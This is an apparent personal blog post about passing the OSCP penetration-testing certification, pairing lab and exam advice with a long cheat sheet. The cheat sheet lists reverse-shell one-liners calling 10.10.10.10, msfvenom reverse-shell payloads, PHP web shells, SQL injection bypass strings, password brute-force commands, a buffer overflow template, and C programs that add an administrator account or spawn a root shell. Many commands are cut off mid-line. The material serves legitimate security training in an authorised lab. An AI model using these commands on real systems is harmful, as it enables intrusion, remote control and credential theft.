

Passing OSCP

Table of Contents

- Overview
- Lab
 - Preparation
 - Enumeration
 - Commands
 - Interactive Shell
 - File Transfers
 - Buffer Overflow
 - Privilege Escalation
 - Scripts
- Exam
- Conclusion

Overview

Through pain, suffering, and persistence, I am proud to say that I am Offensive Security certified.

This post will outline my experience obtaining OSCP along with some tips, commands, techniques and more.

It had taken me 40 days to root all machines in each subnet of the lab environment and 19 hours to achieve 5/5 machines in the exam.

Lab

There is a bit of a love hate relationship with the lab however it is by far the best part of the course. The control panel will give you a drop down of machine IP addresses, from there you will need pick one and run your enumeration, no hostnames are provided.

I recommend doing the exercises, I spent the first week completing the exercises. Besides the bonus 5 points that you may need in the exam and being incredibly mundane, you will definitely learn a tonne.

Try not to use Metasploit unless you are really stuck, learning to exploit without it is invaluable. I had managed to root all machines without using Metasploit more than 2 times.

SSH Tunneling / Pivoting was daunting at first but there is an awesome tool I used called [sshuttle](#) which will look after all of it and simple to use, quick tip to remember is that you can chain sshuttle commands to reach a subnet within a subnet.

Passwords in the labs are either guessable or cracked within minutes, if you are spending more than 20 minutes brute forcing or dictionary attacks then there is another way in. I used [SecLists](#) almost exclusively for fuzzing or passwords.

In the beginning I had a terrible habit of over complicating things, always try simple things first for the low hanging fruit such as `sudo -l`.

Preparation

Get organised, keep notes! the lab machines will contain loot or will have dependencies that you will need to refer to later. I primarily used Microsoft OneNote because it saved to the cloud and allowed me to seamlessly view between work and home machines, a great alternative however is [cherrytree](#).

My preparation was mostly [HackTheBox](#) and [VulnHub](#), HackTheBox was a great platform to get you into the mindset before starting OSCP however it can be very CTF'y so bear in mind.

I have listed some VulnHub machines that I found were similar to OSCP, there was also one machine on [ExploitExercises](#) called nebula, the techniques used in this machine were vital and used in the labs.

If you find yourself overwhelmed and not sure where to start, watch these videos by [lppSec](#), I can't tell you how many things I've learnt by watching his videos, lppSec releases walkthroughs for each retired machine on HackTheBox.

Vulnerable Machines

- [Kioptrix: Level 1](#)
- [Kioptrix: Level 1.1](#)
- [Kioptrix: Level 1.2](#)
- [Kioptrix: Level 1.3](#)
- [FristiLeaks: 1.3](#)
- [Stapler: 1](#)
- [Brainpan: 1](#)
- [VulnOS: 2](#)
- [SickOs: 1.2](#)
- [pWnOS: 2.0](#)
- [Nebula](#)

Structure

Each subnet had a separate table containing useful information for quick reference, this will be useful in both the lab and exam where you might need to recall a name/file you've previously seen.

Hostname	IP	Exploit	ARP	Loot	OS
Box1	10.10.10.10	MS08-067	10.10.10.11	capture.pcap	Windows Server 2000

```
OSCP/
├── Public
│   ├── Box1 - 10.10.10.10
│   └── Box2 - 10.10.10.11
├── IT Department
│   ├── Box1 - 10.11.11.10
│   └── Box2 - 10.11.11.11
├── Dev Department
│   ├── Box1 - 10.12.12.10
│   └── Box2 - 10.12.12.11
├── Admin Department
│   ├── Box1 - 10.13.13.10
│   └── Box2 - 10.13.13.11
├── Exercises
│   ├── 1.3.1.3
│   └── 2.2.1
└── Shortcuts
```

Enumeration

Enumeration is the most important thing you can do, at that inevitable stage where you find yourself hitting a wall, 90% of the time it will be because you haven't done enough enumeration.

A quick tip about nmap, run it from a rooted box instead of going over VPN! If that box doesn't have nmap, you can upload a standalone nmap binary such as this one: [nmap](#).

Almost every review I've read about OSCP tells you to script your enumeration, while that is a good idea..there is already scripts out there specifically for OSCP such as codingo's [Reconnoitre](#). I can't recommend codingo & Reconnoitre enough, he has built an awesome script. I had used this script initially to do quick scans of the environment then full TCP scans manually. Below are commands I found helpful while in the lab:

Nmap

Quick TCP Scan

```
nmap -sC -sV -vv -oA quick 10.10.10.10
```

Quick UDP Scan

```
nmap -sU -sV -vv -oA quick_udp 10.10.10.10
```

Full TCP Scan

```
nmap -sC -sV -p- -vv -oA full 10.10.10.10
```

Port knock

```
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries
```

Web Scanning

Gobuster quick directory busting

```
gobuster -u 10.10.10.10 -w /usr/share/seclists/Discovery/Web_Content/c
```

Gobuster comprehensive directory busting

```
gobuster -s 200,204,301,302,307,403 -u 10.10.10.10 -w /usr/share/secli
```

Gobuster search with file extension

```
gobuster -u 10.10.10.10 -w /usr/share/seclists/Discovery/Web_Content/c
```

Nikto web server scan

Wordpress scan

```
wpscan -u 10.10.10.10/wp/
```

Port Checking

Netcat banner grab

Telnet banner grab

SMB

SMB Vulnerability Scan

```
nmap -p 445 -vv --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.n
```

SMB Users & Shares Scan

```
nmap -p 445 -vv --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.
```

Enum4linux

```
enum4linux -a 10.10.10.10
```

Null connect

```
rpcclient -U "" 10.10.10.10
```

Connect to SMB share

SNMP

SNMP enumeration

Commands

This section will include commands / code I used in the lab environment that I found useful

Python Servers

Web Server

```
python -m SimpleHTTPServer 80
```

FTP Server

```
# Install pyftplib  
pip install pyftplib
```

```
# Run (-w flag allows anonymous write access)  
python -m pyftplib -p 21 -w
```

Reverse Shells

Bash shell

```
bash -i >& /dev/tcp/10.10.10.10/4443 0>&1
```

Netcat without -e flag

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443
```

Netcat Linux

```
nc -e /bin/sh 10.10.10.10 4443
```

Netcat Windows

```
nc -e cmd.exe 10.10.10.10 4443
```

Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,
```

Perl

```
perl -e 'use Socket;$i="10.10.10.10";$p=4443;socket(S,PF_INET,SOCK_STR
```

Remote Desktop

Remote Desktop for windows with share and 85% screen

```
rdesktop -u username -p password -g 85% -r disk:share=/root/ 10.10.10.
```

PHP

PHP command injection from GET Request

```
<?php echo system($_GET["cmd"]);?>
```

#Alternative

```
<?php echo shell_exec($_GET["cmd"]);?>
```

Powershell

Non-interactive execute powershell file

```
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProf
```

Misc

More binaries Path

```
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/s
```

Linux proof

```
hostname && whoami && cat proof.txt && /sbin/ifconfig
```

Windows proof

```
hostname && whoami.exe && type proof.txt && ipconfig /all
```

SSH Tunneling / Pivoting

sshuttle

```
sshuttle -vvr user@10.10.10.10 10.1.1.0/24
```

Local port forwarding

```
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
```

Remote port forwarding

```
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
```

Dynamic port forwarding

```
ssh -D <local proxy port> -p <remote port> <target>
```

Plink local port forwarding

```
plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>
```

SQL Injection

```
# sqlmap crawl
sqlmap -u http://10.10.10.10 --crawl=1

# sqlmap dump database
sqlmap -u http://10.10.10.10 --dbms=mysql --dump

# sqlmap shell
sqlmap -u http://10.10.10.10 --dbms=mysql --os-shell
```

Upload php command injection file

```
union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 in
```

Load file

```
union all select 1,2,3,4,load_file("c:/windows/system32/drivers/etc/ho
```

Bypasses

```
' or 1=1 LIMIT 1 --
' or 1=1 LIMIT 1 -- -
' or 1=1 LIMIT 1#
'or 1#
' or 1=1 --
' or 1=1 -- -
```

Brute force

John the Ripper shadow file

```
$ unshadow passwd shadow > unshadow.db
$ john unshadow.db
```

```
# Hashcat SHA512 $6$ shadow file
hashcat -m 1800 -a 0 hash.txt rockyou.txt --username
```

```
#Hashcat MD5 $1$ shadow file
hashcat -m 500 -a 0 hash.txt rockyou.txt --username
```

```
# Hashcat MD5 Apache webdav file
hashcat -m 1600 -a 0 hash.txt rockyou.txt
```

```
# Hashcat SHA1
hashcat -m 100 -a 0 hash.txt rockyou.txt --force
```

```
# Hashcat Wordpress
hashcat -m 400 -a 0 --remove hash.txt rockyou.txt
```

RDP user with password list

```
ncrack -vv --user offsec -P passwords rdp://10.10.10.10
```

SSH user with password list

```
hydra -l user -P pass.txt -t 10 10.10.10.10 ssh -s 22
```

FTP user with password list

```
medusa -h 10.10.10.10 -u user -P passwords.txt -M ftp
```

MSFVenom Payloads

```
# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4443 -
```

```
# Java WAR reverse shell
msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f war
```

```
# Linux bind shell
msfvenom -p linux/x86/shell_bind_tcp LPORT=4443 -f c -b "\x00\x0a\x0d\x
```

```
# Linux FreeBSD reverse shell
msfvenom -p bsd/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f

# Linux C reverse shell
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443

# Windows non staged reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e

# Windows Staged (Meterpreter) reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=44

# Windows Python reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 EXI

# Windows ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f

# Windows ASPX reverse shell
msfvenom -f aspx -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=

# Windows JavaScript reverse shell with nops
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f

# Windows Powershell reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -e

# Windows reverse shell excluding bad characters
msfvenom -p windows/shell_reverse_tcp -a x86 LHOST=10.10.10.10 LPORT=4

# Windows x64 bit reverse shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443

# Windows reverse shell embedded into plink
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f
```

Interactive Shell

Upgrading to a fully interactive TTY using Python

```
# Enter while in reverse shell
```

```
$ python -c 'import pty; pty.spawn("/bin/bash")'
```

Ctrl-Z

```
# In Kali
```

```
$ stty raw -echo
```

```
$ fg
```

```
# In reverse shell
```

```
$ reset
```

```
$ export SHELL=bash
```

```
$ export TERM=xterm-256color
```

```
$ stty rows <num> columns <cols>
```

File Transfers

HTTP

The most common file transfer method.

```
# In Kali
```

```
python -m SimpleHTTPServer 80
```

```
# In reverse shell - Linux
```

```
wget 10.10.10.10/file
```

```
# In reverse shell - Windows
```

```
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://
```

FTP

This process can be mundane, a quick tip would be to name the filename as 'file' on your kali machine so that you don't have to re-write the script multiple names, you can then rename the file on windows.

```
# In Kali
```

```
python -m pyftplib -p 21 -w
```

```
# In reverse shell
echo open 10.10.10.10 > ftp.txt
echo USER anonymous >> ftp.txt
echo ftp >> ftp.txt
echo bin >> ftp.txt
echo GET file >> ftp.txt
echo bye >> ftp.txt
```

```
# Execute
ftp -v -n -s:ftp.txt
```

TFTP

Generic.

```
# In Kali
atftpd --daemon --port 69 /tftp

# In reverse shell
tftp -i 10.10.10.10 GET nc.exe
```

VBS

When FTP/TFTP fails you, this wget script in VBS was the go to on Windows machines.

```
# In reverse shell
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP.6.0") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
```

```

echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

# Execute
cscript wget.vbs http://10.10.10.10/file.exe file.exe

```

Buffer Overflow

Offensive Security did a fantastic job in explaining Buffer Overflows, It is hard at first but the more you do it the better you understand. I had re-read the buffer overflow section multiple times and ensured I knew how to do it with my eyes closed in preparation for the exam. Triple check the bad characters, don't just look at the structure and actually step through each character one by one would be the best advice for the exam.

```

# Payload
payload = "\x41" * <length> + <ret_address> + "\x90" * 16 + <shellcode>

# Pattern create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <le

# Pattern offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l <le

# nasm
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp eax

# Bad characters

```

```
badchars = (  
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"  
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"  
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"  
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"  
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"  
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"  
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"  
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"  
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"  
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"  
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"  
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\x00"  
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\x00"  
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\x00"  
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\x00"  
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" )
```

Privilege Escalation

There is basically two blog posts that are treated as the privilege escalation bible, [g0tmi1k's](#) post for Linux & [fuzzysecurity's](#) post for Windows.

Offensive Security was able to provide a balance in the labs, there was definitely unique privilege escalate methods however there was also a lot of kernel exploits. I had developed a habit to searchsploit everything, with or without a version number, don't just skim..actually read them and understand how they work, there was countless times I had tried an exploit which failed and moved on only to realise it was the correct exploit but needed a slight tweak.

The devil is in the details, I was definitely guilty of skimming and missing the crucial details such as read and write permissions to /etc/passwd or sticky bit.

I had used three different scripts: [LinuxPrivChecker](#), [LinEnum](#), and [PowerUp](#). It is important to remember that these scripts did not

always find everything and manually searching for files is also required.

Kernel exploits were a bit of a hit and miss, machines are sometimes vulnerable many different ways..I always thought using a kernel exploit was a bit like cheating, especially dirtyc0w which is never the intended way. There is 2 github posts that contain pre-compiled exploits that I found usefull, they are: [abatchy17's Windows Exploits](#) & [lucy0a's kernel exploits](#).

Links

Privilege Escalation:

- [g0tmi1k Linux Priv Esc](#)
- [fuzzysecurity Windows Priv Esc](#)
- [sploitspren Windows Priv Esc](#)
- [togie6 Windows Priv Esc Guide](#)

Kernel Exploits:

- [abatchy17's Windows Exploits](#)
- [lucy0a's kernel exploits](#)

Scripts:

- [LinuxPrivChecker](#)
- [LinEnum](#)
- [PowerUp](#)

Scripts

useradd.c

Windows - Add user.

```
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */

int main ()
{
    int i;
    i=system ("net user <username> <password> /add && net localgroup adm
    return 0;
}

# Compile
i686-w64-mingw32-gcc -o useradd.exe useradd.c
```

SUID

Set owner user ID.

```
int main(void){
    setresuid(0, 0, 0);
    system("/bin/bash");
}

# Compile
gcc suid.c -o suid
```

Powershell Run as

Run file as another user with powershell.

```
echo $username = '<username>' > runas.ps1
echo $securePassword = ConvertTo-SecureString "<password>" -AsPlainText
echo $credential = New-Object System.Management.Automation.PSCredential
echo Start-Process C:\Users\User\AppData\Local\Temp\backdoor.exe -Cred
```

Process Monitor

Monitor processes to check for running cron jobs.

```
#!/bin/bash
```

```
# Loop by line
IFS=$'\n'

old_process=$(ps -eo command)

while true; do
    new_process=$(ps -eo command)
    diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>
    sleep 1
    old_process=$new_process
done
```

Exam

My exam was scheduled 9:00AM Monday morning about one week after my lab time had ended. The game plan was to scan target machines with Reconnoitre while I worked on the target machines then manually scan ports as they were found. I always had some form of enumeration scan running the background while I was working on the target machine.

I had taken screenshots of almost every step in preparation for the exam report, I also ran [Open Broadcaster Software](#) to record my screen while I did my exam, this was useful in case I had missed a screenshot to which I could refer to later. I had a separate terminal window for each target machine and never closed it so that I could also refer to later while doing the exam report.

In hindsight, the exam boxes were not particularly difficult but the vulnerabilities are well hidden. Beware of the red herrings and rabbit holes, they are placed intentionally! Knowing when to move on is important, there were times where I had spent hours on a path for privilege escalation only to realise there was another method hidden in plain sight.

After sleeping for a few hours I immediately started on my report, my approach was to be heavily screenshot based and brief outlining only the steps required to exploit. Knowing who the target audience is important, the report was written such that a non-technical person was able to replicate the steps just by reading the report. The report totaled 43 pages and was completed in a few hours, it was zipped along with my lab report, uploaded and sent to Offensive Security.

Structure

OSCP/

- |— Offensive Security Lab Penetration Test Report
 - | |— Introduction
 - | |— Objective
 - | |— Scope
- |— High-Level Summary
 - | |— Recommendations
- |— Methodologies
 - | |— Information Gathering
 - | |— Service Enumeration
 - | |— Penetration
 - | |— Maintaining Access
 - | |— House Cleaning
- |— Findings
 - | |— Box1 - 10.10.10.10
 - | |— Box2 - 10.10.10.11
 - | |— Box3 - 10.10.10.12
 - | |— Box4 - 10.10.10.13
 - | |— Box5 - 10.10.10.14

Conclusion

After the grueling 28 hour wait after submitting the report, the email from Offensive Security had arrived indicating that I had successfully completed the Penetration Testing with Kali Linux certification exam and have obtained the Offensive Security